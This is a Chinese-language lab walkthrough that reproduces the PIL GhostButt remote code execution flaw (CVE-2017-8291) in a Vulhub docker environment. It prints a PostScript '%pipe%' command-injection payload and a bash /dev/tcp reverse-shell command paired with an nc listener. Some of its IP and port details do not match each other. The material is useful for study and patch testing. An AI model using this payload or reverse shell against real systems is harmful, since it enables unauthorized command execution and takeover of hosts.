漏洞原理

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

漏洞详情

漏洞简述

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS),则分发给PIL/EpsImagePlugin.py处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

# 省略判断是GhostScript是否安装的代码
try:
    with open(os.devnull, 'w+b') as devnull:
        subprocess.check_call(command, stdin=devnull, stdout=devnull)
    im = Image.open(outfile)

漏洞复现环境

名称 系统名称 IP地址
攻击机 kali 192.168.255.57
靶机 centos7 192.168.255.176

1、在centos7中开启docker环境,并拉取Vulhub漏洞源码

[root@didiplus ~]# git clone https://github.com/vulhub/vulhub.git

2、进入CVE-2017-8291

[root@didiplus CTF]# cd vulhub/python/PIL-CVE-2017-8291/
[root@didiplus PIL-CVE-2017-8291]# ls
01.png  app.py  docker-compose.yml  poc.png  README.md
[root@didiplus PIL-CVE-2017-8291]#

3、执行命令docker-compose up -d,拉取镜像。

[root@didiplus PIL-CVE-2017-8291]# docker-compose up -d
Creating pil-cve-2017-8291_web_1 ... done
[root@didiplus PIL-CVE-2017-8291]# docker ps -a
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS                               NAMES
80c159201cad        vulhub/ghostscript:9.21-with-flask   "python app.py"          6 seconds ago       Up 3 seconds        0.0.0.0:8000->8000/tcp              pil-cve-2017-8291_web_1

4、在kali下访问靶场:http://192.168.255.167:8000/
在这里插入图片描述5、上传poc.png图片,使用vi打开该文件,内容如下:

...省略...
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

在这里插入图片描述

上传文件成功后,会在/tmp/目录下创建aaaaa文件。

6、在docker靶场中查看aaaaa文件,证明是否存在漏洞
在这里插入图片描述
成功在tmp目录下创建文件,说明存在漏洞。

通过反弹shell命令获取root权限。

1、在kail(攻击机)上,开启侦听端口8002端口,执行 nc -l -p 8002
在这里插入图片描述
2、修改poc.png的命令为反弹shell命令bash –c "bash –i >& /dev/tcp/192.168.32.1/777 0>&1"
在这里插入图片描述3、再次上传后,监听端口成功反弹shell
在这里插入图片描述
参考资料:
Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
Python PIL 远程命令执行漏洞(GhostButt )

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐